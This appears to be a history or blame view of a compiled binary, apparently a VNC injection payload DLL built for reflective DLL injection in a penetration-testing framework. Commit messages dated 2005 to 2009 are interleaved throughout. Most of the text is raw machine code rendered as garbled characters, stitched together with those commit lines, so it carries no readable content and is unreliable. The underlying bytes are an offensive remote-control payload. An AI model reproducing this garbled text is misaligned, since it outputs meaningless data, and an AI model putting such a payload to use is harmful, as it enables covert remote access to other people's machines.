ÆEšÆE›‹ð‹…Tƒø},‹… W¯…(T¯…,T™ƒâÂÁøÁ;Æ}ÆEšÆE›€}›uƒ¥T€}š‹M””ÀþÈ$€
vncinject payload
2005-12-12 07:07:19 +00:00
…T¶ÀPè÷òÿÿ3ö9µT~ÿtµœ‹M”è§óÿÿF;µT|ë€}š…;€}›„I‹…T‹… W‰E�‹…,T‹ó…ÀŽ.‹�(TÁá‰Mˆ‰EŒ‹Eˆ�<02ÛÆE›;÷sM‹P�MœƒÆèQõÿÿ‹M�M›Òã
Ø€}›ˆ]„rÿu„‹M”èYòÿÿÆE›;÷rÌ€}›v±*M›Òã‹M”¶ÃPè8òÿÿÿMŒužé¸‹‹Ëë;]�sƒÃ9tô‹ó+ñÁþƒþ"€}›t;P�MœèÛôÿÿ‹øƒþu ‹M”WèññÿÿWëS€}›tP�Mœè¹ôÿÿ‹M” €¶ÀPèÑñÿÿë ‹M”PèŒòÿÿN¹ÿ;ñ| ‹Æ3Ò÷ñ‹øiÀÿÿÿð‹M”hÿèŸñÿÿOuðV‹M”è“ñÿÿ;]�‚\ÿÿÿëÿ3‹M”èDòÿÿƒÃ;]�rî‹�T_^3Í[ègg�ÅTÉÃU�¬$ä«ÿÿ¸˜Tè¼›¡Dá3ʼn…T‹…0TS‹�$TVW�Mœ‰E”èkóÿÿ‹µ(T¯µ,TƒeŒƒeˆ�³‹Hü÷Ñ‹û‰E�‰;Øs&‹ƒÇ9tÿEˆë
ƒÇ9tùÿEŒP�MœèIóÿÿ;}�rÚ‹�TƒùuQ‹M”èÃðÿÿÿuœ‹M”è®ñÿÿé!‹}ˆkö‹UŒ�Áà;ÆÆEšÆE›}ÆEš‹ð�ù€}SkÉ�QÇ;Æ}
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ÆEšÆE›‹ð‹…Tƒø},‹… W¯…(T¯…,T™ƒâÂÁøÁ;Æ}ÆEšÆE›€}›uƒ¥T€}š‹M””ÀþÈ$€
…T¶ÀPèðÿÿ3ö9µT~ÿtµœ‹M”èóðÿÿF;µT|ë€}š…;€}›„I‹…T‹… W‰E�‹…,T‹ó…ÀŽ.‹�(TÁá‰Mˆ‰EŒ‹Eˆ�<02ÛÆE›;÷sM‹P�MœƒÆèmòÿÿ‹M�M›Òã
Ø€}›ˆ]„rÿu„‹M”èuïÿÿÆE›;÷rÌ€}›v±*M›Òã‹M”¶ÃPèTïÿÿÿMŒužé¸‹‹Ëë;]�sƒÃ9tô‹ó+ñÁþƒþ"€}›t;P�Mœè÷ñÿÿ‹øƒþu ‹M”Wè
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ïÿÿWëS€}›tP�MœèÕñÿÿ‹M” €¶ÀPèíîÿÿë ‹M”PèØïÿÿN¹ÿ;ñ| ‹Æ3Ò÷ñ‹øiÀÿÿÿð‹M”hÿè»îÿÿOuðV‹M”è¯îÿÿ;]�‚\ÿÿÿëÿ3‹M”è�ïÿÿƒÃ;]�rî‹�T_^3Í[èƒd�ÅTÉÃj¸5Dè~d‹ñ‰uðèQàÿÿ3Ûj‰]üÇ„Wè¼gY‹È‰MìÆEü;Ët hè�ïÿÿë3Àj ˆ]ü‰FHè“gY‹È‰MìÆEü;Ët SSèt[ë3Àh@ˆ]ü‰FDèÚs‰FLY‹Æè¤dÃj¸XDèøc‹ñ‰uðÇ„W‹NHƒeü…Ét‹jÿ‹ND…Ét‹jÿÿvLèþrƒMüÿY‹ÎèÙßÿÿèUdÃéí¼¶A Áè¯D$¯D$kÀÑèƒÀÂU‹ìƒì ‹MWÿuèò[‹E ‹M�;‹ø‰}ø‰Uð�š‹E‹UÂS‰Eô‰MVj@X9E‰Eü}‹E‰Eü‹u;uô}Y‹Eü�8‹E‰E j@_9} }‹} ‹Eø‹M(�UàRÿu ‰Eäÿu$�7‰E苉uà‰]ìÿPÿuÿuüWÿu è ðÿÿƒm @ƒÆ@ƒÄ;uô|³‹}øƒm@ƒÇ@;}ð‰}øŒxÿÿÿ^[‹M‹ÿP _ÉÃU‹ìƒì ‹MWÿuè"[‹E ‹M�;‹ø‰}ø‰Uð�š‹E‹UÂS‰Eô‰MVj@X9E‰Eü}‹E‰Eü‹u;uô}Y‹Eü�8‹E‰E j@_9} }‹} ‹Eø‹M(�UàRÿu ‰Eäÿu$�7‰E苉uà‰]ìÿPÿuÿuüWÿu èòÿÿƒm @ƒÆ@ƒÄ;uô|³‹}øƒm@ƒÇ@;}ð‰}øŒxÿÿÿ^[‹M‹ÿP _ÉÃU‹ìƒì ‹MWÿuèRZ‹E ‹M�;‹ø‰}ø‰Uð�š‹E‹UÂS‰Eô‰MVj@X9E‰Eü}‹E‰Eü‹u;uô}Y‹Eü�8‹E‰E j@_9} }‹} ‹Eø‹M(�UàRÿu ‰Eäÿu$�7‰E苉uà‰]ìÿPÿuÿuüWÿu è"ôÿÿƒm @ƒÆ@ƒÄ;uô|³‹}øƒm@ƒÇ@;}ð‰}øŒxÿÿÿ^[‹M‹ÿP _ÉÃU‹ìƒì ‹MWÿuè‚Y‹E ‹M�;‹ø‰}ø‰Uð�š‹E‹UÂS‰Eô‰MVj@X9E‰Eü}‹E‰Eü‹u;uô}Y‹Eü�8‹E‰E j@_9} }‹} ‹Eø‹M(�UàRÿu ‰Eäÿu$�7‰E苉uà‰]ìÿPÿuÿuüWÿu è4öÿÿƒm @ƒÆ@ƒÄ;uô|³‹}øƒm@ƒÇ@;}ð‰}øŒxÿÿÿ^[‹M‹ÿP _ÉÃU‹ìƒì ‹MWÿuè²X‹E ‹M�;‹ø‰}ø‰Uð�š‹E‹UÂS‰Eô‰MVj@X9E‰Eü}‹E‰Eü‹u;uô}Y‹Eü�8‹E‰E j@_9} }‹} ‹Eø‹M(�UàRÿu ‰Eäÿu$�7‰E苉uà‰]ìÿPÿuÿuüWÿu èHøÿÿƒm @ƒÆ@ƒÄ;uô|³‹}øƒm@ƒÇ@;}ð‰}øŒxÿÿÿ^[‹M‹ÿP _ÉÃV‹ñèxûÿÿöD$tVè1`Y‹Æ^Âj ¸sDè�_‹ñ‹E‹H‹8‹X‹@ ƒeü+Á‰M‹NH‹Q ‰QŠN +߉Eì€ù„ó€ù„Ѐù …ü·V$ŠN*Óâ�ú}&·V&ŠN+Óâ�ú}·V(ŠN,Óâ�ú}²ë2Ò€~*v€~+v
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
€~,v±ë2É„Òt€~"t
„Ét €~"tVÿuÿvLÿvDÿvHPSÿuWèvýÿÿëz„Òt€~"u
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
„Ét €~"uVÿuÿvLÿvDÿvHPSÿuWèþÿÿëLVÿuÿvLÿvDÿvHPSÿuWè^üÿÿë2VÿuÿvLÿvDÿvHPSÿuWètûÿÿëVÿuÿvLÿvDÿvHPSÿuWèŠúÿÿƒÄ$‹ÏÁù¸ÿ#ÈÁç Ï‹} f‰‹M‹ÑÁúÁá#Ð Ñ‹ËÁù#Èf‰WÁã Ëf‰O‹Mì‹ÑÁú#ÐÁá Ñf‰WÇG‹NH‹ÿP‹NH‰E‹ÿP‹NH‹Ø‹ÿP‹NH‰E‹ÿP‹UÁà¹ÿ#Ñ ÂÁû#Ù‹MÁà ÃÁé Á‰G ‹NH‹‹Y ÿPPSƒÇWè5h‹NH‹ƒÄ ÿPƒÀ븱ÔÃ3Àèç] ‹D$ƒaT‰AX‹D$‰A\è)Hÿÿ3À@ÂW‹ùƒTu@V‹O\è–>‹ð…öt0h˜:‹Îè
?‹V‹ÏÿP‹Îè>=‹Îè=‹j‹ÎÿƒTtÂ^3À_ÂU�¬$Dôÿÿ�ì< ¡Dá3ʼn…¸ ‹…Ä VWh‹ù‹j
P‰E�ÿR‹ð…ö„ÂS�…¨Ph°ZV趆V‹Øè¶kƒÄ…Û„›ƒûÿ„’3ÛCë
€}—
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
u…öu"‹óë€}— |3ö‹M�S�E—Pè$?…ÀuÙéa€½¨/…>�…¨h¬ZPè‡YY…À…ü¾€XVèaY‹M�PVè“>…À„‹OX‹ÿ�ä…À„ª‹OX‹�U€R�U„R�UŒRÿ��EˆP�…¨ PÇEˆÿPP…À�…¨ t4P3Ûè `Y…Àv4�´¨ ¾P诈ˆ�…¨ PCè|`YY;ØrÛë
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
hìUPèɈYY‹OX‹ÿ�´P‹E„ƒÀ PÿuŒ�…¨ P�E˜h˜XPèqiƒÄë�E˜h8YPè^iYY�E˜Pè`YP�E˜Pë53ÿ¾@Zÿ6�…¨Pè†YY…Àt<ƒÆ G�þ¬Z|ྸYVèä_YPV‹M�èp=[‹�¸ _3Í^èºZ�ż É‹ÇkÀ ÿ°DZ·€HZP3ÛSÿpP‹ð;ótÄVSÿlPVS‰EŒÿhP;Ãt­PÿdP‹ø;ût ¾€XVèn_Y‹M�PVèú<…Àt†ÿuŒWéuÿÿÿU‹ìS‹]V�CWPèjY‹ø3öëŠE:E t(ˆ>F�Cÿ;ðt‹Mj�EPèý<…ÀuÛWèIiY3Àë‹ÇÆ>_^[] V‹ñ�NǼZèÐ9ƒf(‹Æ^Ãj(¸¡DèÛY‹ñ‰uðǼZ�~3ۋω]üè
:‹F(;Ãt^�MÌÇ@TèŒ9�MÌÆEüèØ<SS�MÌèò9ÿv$�MÌhÀZèS:�MÌè•9‹N(�EìPèÝ=ÿÿ‹Ï‰^(è9�M̈]üè~<ƒMüÿ‹Ïès<èëYÃVjj‹ñèg=ÿÿÇÐZ‹Æ^Ãj¸ÆDè)Y‹ñ‹E �~‹Ï‰F$èP<…Àu3ÀëV‹]‹‹Ëÿ�ìPÿv$‹ÏèT9…Àtà‹ÏèN:…ÀtÕj`è;\Y‹È‰M 3À‰Eü;Ètè‚ÿÿÿƒMüÿ‰F(…Àt¯‹SW‹ÈÿR èSYÂV‹ñè�9ÿÿöD$tVè^YY‹Æ^¶D$jÿt$ jPÿôQPÿt$ÿ”RÃV‹ñÿ6ÿðQ¹€f…ÁuÿvPè¿ÿÿÿYYÆF^ÃV‹ñÿ6ÿðQ¹€f…Át‹FƒÈPPè’ÿÿÿYYÆF ^Àyt ‹AƒÈPë €y tÿqPèiÿÿÿYYÃU‹ìQV‹5ðQW¶}WÿÖÁèƒà‹E t…Àuë…Àt÷ØÀƒàþ@@Pÿuè,ÿÿÿYYWÿÖ_^ÉÃVè;43öV…ÀtFh è¦ÿÿÿVh¢è›ÿÿÿVh¤è�ÿÿÿVh¡è…ÿÿÿVh£èzÿÿÿVh¥èoÿÿÿƒÄ0^ÃjècÿÿÿVjè[ÿÿÿVjèSÿÿÿƒÄ^ÃV‹ñ‹…Àu è`‹…Àt‹ë3À‹N;Huè`‹FƒÀ ^ËT$‹V‹p‰2‹p€~u‰V‹r‰p‹I^;Qu‰Aë‹J;Qu‰A뉉P‰BÂU‹ì‹Á‹M‰‹M ‰H‹M‰H‹M‹‰P ‹I‰HŠMˆHÆ@]‹D$‹L$;Át
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ŠSŠˆˆ[ÃU‹ì‹Mƒì …Éw3ÉkÉQèÏYYÉÃÈÿ3Ò÷ñƒøsèƒe�EP�MôèÌ\h¨‘�EôPÇEôÜSè¯QÌ‹A‹H€yu‹T$‹9Q s‹Ië‹Á‹ €ytì‹T$‹BV‹0‰r‹0€~u‰V‹r‰p‹I^;Qu‰Aë‹J;u‰ë‰A‰‰BÂSV‹ñ3Û9uèª^‹F8Xt‹@‰F8Xt<^[é�^‹8Yuë‹È‹A8Xtö‰Në‹N;u ‰F‹@8Xtî‹N8YuljF^[ÃSV‹ñ3Û9uèI^‹F8Xt^[é:^‹H8Yuë‹È‹8Xt÷‰Në‹N;Hu ‰F‹@8Xtí‰F^[ËD$V‹ñƒ&W‹|$‰F…ÿuèî]‹‰_‹Æ^ÂU‹ìQQQÿu�MøèÉÿÿÿ‹Mø‹E‰‹Mü‰HÉ S3ÛSjèDþÿÿYY;Ãt‰�H;Ët‰�H;Ët‰ˆXÆ@[ÃU‹ìVjjèþÿÿ‹ðYY…ötÿu‹Îÿuÿuÿu ÿuè­ýÿÿ‹Æ^]ÂSVW‹|$€‹Ù‹÷uÿv‹Ëèåÿÿÿ‹6WèU€~Y‹þtå_^[‹AQÿ0‹L$ èÿÿÿ‹D$ÂV‹ñèPÿÿÿ�N‰Æ@‹‰@‹‰‹ ‰Iƒf^ÃVW‹ù�w‹ÿpè‚ÿÿÿ‹‰@‹ƒg‰‹6_‰v^ÃU‹ìQVQ‰eü‹ñ‰eüèÆyÿÿ‹Æ^ÉÂQÿt$ è…ýÿÿ‹L$Pè–þÿÿ‹D$ÂU‹ìQ‹EVQ‰eü‰eüP‹ñè±ÿÿÿ‹Æ^ÉÂU‹ìƒìVW‹} W�EøP‹ñè­ÿÿÿVÿv�MðèKþÿÿ�EðP�Møèã„Àu‹‹Mü;A r�MøëVÿv�Mðè þÿÿ�Mð‹‹E‹I_‰‰H^ÉÂÿ1èêSYÃU‹ìQVQ‰eü‰eüÿu‹ñè\ÿÿÿ‹Æ^ÉÂVÿt$‹ñèˆRÿÿÇ[‹Æ^ÂÇ[é£PÿÿV‹ñÇ[è•PÿÿöD$tVè�SY‹Æ^ÂU‹ìQVQ‰eü‰eüÿu‹ñèˆÿÿÿ‹Æ^ÉÂVÿt$‹ñèSÿÿÇ[‹Æ^ÂjH¸éDèƒR‰Mð‹]€{t2h[�MÔèoRÿÿƒeü�EÔP�M¬èåQÿÿhðœ�E¬PÇE¬[è³M�M èÉüÿÿ‹€zt‹{ë‹C€xt‹úë ‹E�H‹9;Ãuv€‹su‰w‹Mð‹A9Xu‰xë 9u‰>ë‰~‹I9u€t‹Öë‹‹×ë‹Ð‹€xtö‰‹Eð‹H9Yu}€t‹Öë‹G‹×ë‹Ð‹B€xtõ‰Që\‰B‹‰;Cu‹ð뀋pu‰w‰>‹S‰‹K‰A‹Mð‹I9Yu‰Aë‹K9u‰ë‰A‹K‰H�KQƒÀPè£úÿÿYY€{…é²€…ð‹;øul‹F€xuÆ@VÆFèøúÿÿ‹F€xu}‹€yu ‹H€yth‹H€yu‹ÆA‹MðPÆ@è¿ùÿÿ‹FŠNˆH‹MðÆF‹@VÆ@è¥úÿÿë~€xuÆ@VÆFèŒùÿÿ‹€xu‹H€yu"‹€yuÆ@‹þ‹v‹Mð‹A;x…?ÿÿÿë7‹€yu‹HÆA‹MðPÆ@è@úÿÿ‹ŠNˆH‹MðÆF‹VÆ@è"ùÿÿÆGSèôPY‹Mð‹A…ÀvH‰Aÿuÿu ÿuèûÿÿ‹Eè¬P j¸3GèþO‹ñ‰uðQ‰eì‰eìÿuè&ýÿÿƒeü‹Îè«ûÿÿ‹ÆèwPÂU‹ìQQV‹ñ‹FVÿ0�Møèšúÿÿ�EøP�M è2„Àt/Vÿv�Møè~úÿÿ�EøP�Mè„Àt‹Îè}ûÿÿÿu‹Îè8ûÿÿëO�EP�M èó„Àu/SW‹} ‹]�M èìùÿÿSW�EøP‹ÎèÄüÿÿ�EP�M èÆ„ÀtÕ_[ÿu‹Îÿu ÿuè2úÿÿ‹E^ÉÂjD¸DHèO‹ù�þÿÿr2h,[�MØè
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
Oÿÿƒeü�EØP�M°è€Nÿÿh´’�E°PÇE°ôSèNJ‹G‹ujÿuPVPèúÿÿÿG‹Ø‹G;ðu
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
‰X‹G‰‹Gë€} t
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
‰‹G;0u‰ë‰^‹G;pu‰X‹ó�Cé�‹‹Q;
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
u8‹R€zt7;qu
‹ñV‹ÏèQøÿÿ‹FÆ@‹F‹@Æ@‹Fÿp‹Ïè0÷ÿÿëL‹€zuÆAÆB‹‹IÆA‹‹pë,;1u
‹ñV‹Ïè÷ÿÿ‹FÆ@‹F‹@Æ@‹Fÿp‹Ïèå÷ÿÿ�F‹€y„dÿÿÿ‹G‹@‹MWSÆ@è´øÿÿ‹EèpNÂU‹ìƒìV‹ñVÿv�Møè”øÿÿ‹FVÿ0�Mðè†øÿÿÿuü�Eðÿuø‹ÎÿuôÿuðPè¿ýÿÿÿvèNNƒfƒfY^ÉÃU‹ìƒìS‹] V‹ñ‹N‹A€xW‹ùÆEüu‹ ;H ‹ø’Eü€}üt‹ë‹@€xtäVW�Môèøÿÿ€}ütE‹FVÿ0�Mìèÿ÷ÿÿ�EìP�Môè—„ÀtSWj�EìP‹ÎèÜýÿÿ‹È‹E‹‹IÆ@ë#�Môè÷ÿÿ‹Mø‹A ;sSWÿuüëÌ‹E‹UôÆ@_^‰‰H[ÉÂj¸ EèºL‹ñ‰uðƒeüèÞþÿÿÿ6ègMYè>MÃU‹ìƒìSW‹ù3Û9_uÿuÿwjÿuèTýÿÿ‹Eé ‹GVWÿ0�MøèA÷ÿÿ�EøP�M èÙ„Àt‹u‹‹E;H ƒÔVPé¼Wÿw�Møè
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
÷ÿÿ�EøP�M 襋u„Àt‹G‹@‹H ;ƒ�Vé�‹‹M9A v2‹E ‰Mü�Mø‰Eøèöÿÿ‹‹Mü9A s‹AV8XtQëQÿuëP‹M9A sY‹E Wÿw‰Mü�Mð‰Eøè�öÿÿ�Møè9öÿÿ�EðP�Møè ‹Mü„Àu‹;A s"‹E‹PV8ZtPSëQjÿu‹ÏèMüÿÿ‹EëV�EìP‹Ïèåýÿÿ‹‹M‰‹@‰A‹Á^_[ÉÂé„þÿÿU‹ìQV�EÿP�EÿP‹ñè,ûÿÿ‹Æ^ÉÃU‹ìƒìV‹uWV�EøP‹ùèK÷ÿÿWÿw�Mðèéõÿÿ�EðP�Møè�„À‹Eüu‹;H s'‹‰Mð�MðQPÿuø�EèP‹ÏÆEôè:þÿÿ‹‹@‰Mø‰Eü�Møè|óÿÿ_ƒÀ^ÉÂj¸:Eè°J‹ù‰}ìè\ÿÿÿƒeü�_ ‹ËèNÿÿÿÆEü¾pÝÇEðWV‹ÏèOÿÿÿŠNˆV‹ËèBÿÿÿŠNƒÆÿMðˆuÞ‹ÇèþJÃj<¸}EèRJ‹ñ‹Eƒø rƒø~v�ˆ`ÿÿÿƒù_‡PÿìQ·ðfƒþÿ„¹3ÛÇE¸‰]¼ˆ]Àˆ]Á‰]üÇEĉ]Ȉ]̈]ÍÇE܉]àˆ]äˆ]åÇEР‰]Ôˆ]؈]ÙÇE衉]ìˆ]ðˆ]ñÆEü8] tR‹ÆÁèˆE ¨t �M¸è9ñÿÿŠE ¨t �MÄè*ñÿÿŠE ¨t
�MÜèñÿÿëè&…Àt�MÜë �MÐè,ñÿÿ�Mèè$ñÿÿ3À8] •ÀHƒàPVèÈðÿÿYY�Mèè4ñÿÿ�MÐè,ñÿÿ�MÜè$ñÿÿ�MÄèñÿÿ�M¸èñÿÿéÇVÿv�Mìèýóÿÿ�EìP�EP�EàP‹Îè|õÿÿ‹Èè‡ „À…™�EP‹ÎèÄýÿÿŠˆEð�EP�N 3Û3ÿè¯ýÿÿ8tG8] u%ƒÏèJ%…ÀtX¶Eð-¡tIHHt?HHuEÆEðë?€}ð.uØ‹5ðQjÿÖ»€‹Ëf…ÁtÂjÿÖf…Ãt¹è%…Àt°èÉ%ëÆEðëÆEðWÿuðèÔïÿÿYYèIÂj¸ EèSH‹ñ‰uðƒeü�N è|ûÿÿƒMüÿ‹ÎèqûÿÿèÑHÃÿt$¹Àûÿt$èÁýÿÿÃVW‹|$ ‹ñVWèagÿÿWè MPjWèPWƒÄ_‹Æ^‹D$‰A‹jjjjÿt$ÿt$ÿt$ÿ fƒ|$w¿D$‹„�´ë3ÀÂj¸e@èªG‹ñ�¾¸‹Ï‰}ðèñ%ÿÿÿu‹ƒeü‹ÎÿP0…Àt
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ÿu ‹‹ÈÿR(ƒMüÿ‹ÏèÒ%ÿÿè HÂj¸e@è]G‹ñ�¾¸‹Ï‰}ðè¤%ÿÿÿu‹ƒeü‹ÎÿP0…Àt
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ÿu ‹‹ÈÿR4ƒMüÿ‹Ïè…%ÿÿè¾GÂj¸e@èG‹ñ�¾¸‹Ï‰}ðèW%ÿÿÿu‹ƒeü‹ÎÿP0…Àt
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ÿu ‹‹ÈÿR,ƒMüÿ‹Ïè8%ÿÿèqGÂj¸e@èÃF‹ñ�¾¸‹Ï‰}ðè
%ÿÿÿu‹ƒeü‹ÎÿP0…Àt
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ÿu ‹‹ÈÿR0ƒMüÿ‹Ïèë$ÿÿè$GÂj¸e@èvF‹ñ�¾¸‹Ï‰}ðè½$ÿÿÿu‹ƒeü‹ÎÿP0…Àt‹‹ÈÿR8‹ðƒMüÿ‹ÏèŸ$ÿÿ‹ÆèÖFÂ3öëçj¸e@è$F‹ñ�¾¸‹Ï‰}ðèk$ÿÿÿu‹ƒeü‹ÎÿP0…Àt‹‹ÈÿRD‹ðƒMüÿ‹ÏèM$ÿÿ‹Æè„FÂ3öëçj¸e@èÒE‹ñ�¾¸‹Ï‰}ðè$ÿÿÿu‹ƒeü‹ÎÿP0…Àt‹‹ÈÿR<‹ðƒMüÿ‹Ïèû#ÿÿ‹Æè2FÂ3öëçj¸e@è€E‹ñ�¾¸‹Ï‰}ðèÇ#ÿÿÿu‹ƒeü‹ÎÿP0…Àt‹‹ÈÿR@‹ðƒMüÿ‹Ïè©#ÿÿ‹ÆèàEÂ3öëçj¸e@è.E‹ñ�¾¸‹Ï‰}ðèu#ÿÿÿu‹ƒeü‹ÎÿP0…Àt‹‹ÈÿRH‹ðƒMüÿ‹ÏèW#ÿÿ‹ÆèŽEÂ3öëçj¸e@èÜD‹ñ�¾Ð‹Ï‰}ðè##ÿÿ‹Nƒeü…Étÿuè —ÿÿƒMüÿ‹Ïè
#ÿÿèFEÂV‹ñ‹Ft…Àt PèËNƒftYÿt$è÷Y‰Ft^‹D$V‹ñ9F t+‰F ‹Wÿ�ä‹ø‹j‹Îÿ�à…ÿ_t ‹j‹Îÿ�à^‹A Ãjÿt$ƒÁ(QèOƒÄ ÂU‹ìƒì ¡Dá3ʼnEü€=pVW‹}‹ñthp�Môèßûÿÿ‹�MôQ‹Îÿ�ÀjƒÆ(VWè³N‹MüƒÄ _3Í^èÅCÉ‹D$‰A@‹A@ËD$‰AD‹ADÃj ¸ÍEè¨C‹ñ3Û9]„×9^ …
j,èåFY‹È‰M‰]ü;ËtèF"ë3ÀƒMüÿ‰F ;Ãu3Àéá9^$„†3ÿ�‡ �MÔ‰F è(#�MÔÇEüèq&…Àt#ÿv �MÔhÀZèò#…Àuÿv ‹N ‹Vÿ…Àu/ƒMüÿ�MÔè'&Gƒÿc|§‹~ ;ût‹Ïè×!Wè­CY‰^ éxÿÿÿƒMüÿ�MÔèø%ëBÿv ‹V‹Èÿ…Àu4ëÅ‹ÿP‹‹ÎÿP ‹‹ÎÿP‹‹ÎÿP$‹~ ;ût‹Ïè‚!WèXCY‰^ ÿv‹‹Îÿ�ð3À@èCÂ3À9A •ÀÃj¸³BèeB‹ñ‹E3Û‰F;Ãt`9^ t[9^unj,è EY‹È‰M‰]ü;Ëtè4èÿÿë3ÀƒMüÿ‰F;ÃtF‹N ‹ƒédQV‹Èÿ…Àu4‹~;ût‹ÏèèÿÿWèÁBY‰^3Àë‹~;ût‹ÏèèÿÿWè¥BY‰^3À@èvB‹D$V‹ñ;F8t&‰F8‹Wÿ�ä‹ø‹j‹Îÿ�à‹W‹Îÿ�à_3À@^‹A8Ã3À9A•ÀÃhD¸ûEèA‹ñ�¾Ð‹Ï‰}ØèÆÿÿ‹Nƒeü…ÉuL��°úÿÿè ŒÿÿV��°úÿÿÆEüèË’ÿÿ…Àu
f‰EÜf‰EÞˆEàë�EÜP��°úÿÿè6“ÿÿ��°úÿÿÆEüè ™ÿÿë �EÜPè“ÿÿ·EÜ‹MƒMüÿ‰·EÞ‹M ‰¶Eà‹M‰‹ÏèHÿÿè�A j¸e@èÓ@‹ñ�¾¸‹Ïèÿÿƒ}uƒf<ë‹F<…ÀtPèâJYÿuèY‰F<ƒMüÿ‹Ïèôÿÿè-AÂj¸e@è@‹ñ�¾¸‹ÏèÉÿÿ‹v<…öu!h][èЃL$ ÿY‹Ï‹ðè±ÿÿ‹Æèè@ÃVëáU‹ì‹M…Éu3À@]Ã9M s3À]ËUSVW3ÿ…Év‹E‹ò+ðŠ:uG@;ùró9M v
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
€<
vncinject payload
2005-12-12 07:07:19 +00:00
.t3Àë3À@_^[]Ãj8¸!Fèê?‹ù��¸‰Mäè3ÿÿ‹wx�E¼3ÛP‰]ü‰]èÿpQ�EÌP�E¼PÿˆP‹MЋEÌSh€–˜QPè{‰EÔ‰UØëK‹EÔ+F‹MØN ‰Màx;Ãv9^tQ‹EÔ‹M؃À
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ˉ^‰F‰N ÿuÿvèajYY…Àu9^uS‰uè‹6;óu±9]uVj^‹MäƒMüÿèšÿÿ‹ÆèÑ?‹Eè;Ãt‹‰ë‹‰Gx‹ÿv‰EàèGIVèÌ?‹uàYY벋MäƒMüÿèXÿÿjXë»ÿu3öF‰]ðÇEèèÝC‰EØ‹G<Y…À„•3ÒB‹È‰Uì‹Æƒè‰MàtHtNHu@Š<:t„Àu;ƒþu)…Ût%‹Eì+ÃHP‹G<ÃPÿuØÿuèFþÿÿƒÄ…Àt‹Eè‰Eð‹Mà3ÒB‹ò€9t8ÿEìA륊<+uƒeèë<-u ‹]ìj^‰uèëÚ<?u ‰Uè‹]ìj^ëË„Àt3öëËEðƒètCHtHuS‹‹Ïÿ�$…ÀuEë<‹‹Ïÿ�$ƒøwƒeðë.‹‹Ïÿ�$ƒøuÇEðë‹‹Ïÿ�$ƒørÇEð‹uðé‹þÿÿj ¸DFèÄ=‹ñ‰uì�Ž¸‰Mðè
ÿÿƒeü‹vx�EÔPÿpQ�EäP�EÔPÿˆP‹Mè‹Eäjh€–˜QPèÞx‹ø‹ÚëÿuÿvèmhYY…ÀtN‹6…öuéjè´@ÿu‹ð3ÀƒÇ
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
؉F‰F‰~‰^ 讉F‹EìYY‹Hx‰‰px‹MðƒMüÿè‚ÿÿè»=ƒ~uæƒÇ
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ƒÓÿFƒ~‰~‰^ vÑÇFëÈU‹ìQQVW‹ù��¸‰Møè7ÿÿ‹wxƒeü…ötDSÿuÿvèÇgYY…Àu(‹Eü…Àt‹‰ë‹‰Gxÿv‹èÜFVèa=YY‹óë‰uü‹6…öu¾[‹Møèèÿÿ_^ÉÂV‹ñ‹W‹|$ …Àt;tèNE‹F+G_÷ØÀ@^ÂV‹ñ‹…Àu è0E‹…Àt‹ë3À‹N;HuèE‹F‹‰F‹Æ^ÃU‹ì‹Mƒì …Éw3ÉkÉ Qèi?YÉÃÈÿ3Ò÷ñƒø sèƒe�EP�MôèfBh¨‘�EôPÇEôÜSèI7ÌV‹ñƒ>uè±D‹F‹‹@‰F…Ét‹ ë3É;Auè’D‹Æ^ÃV‹ñW�¾¸‹Ïèòÿÿ‹¶°‹Ïèíÿÿ_‹Æ^ÃV‹ñW�¾¸‹ÏèÏÿÿ‹¶”‹ÏèÊÿÿ_‹Æ^Ãj¸e@èX;‹ñ�ž¸‹Ë‰]ðèŸÿÿƒeü�¾°ë ‹Žèèì!ÿÿƒ?uðƒMüÿ‹Ëè€ÿÿè¹;Ãj¸e@è
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
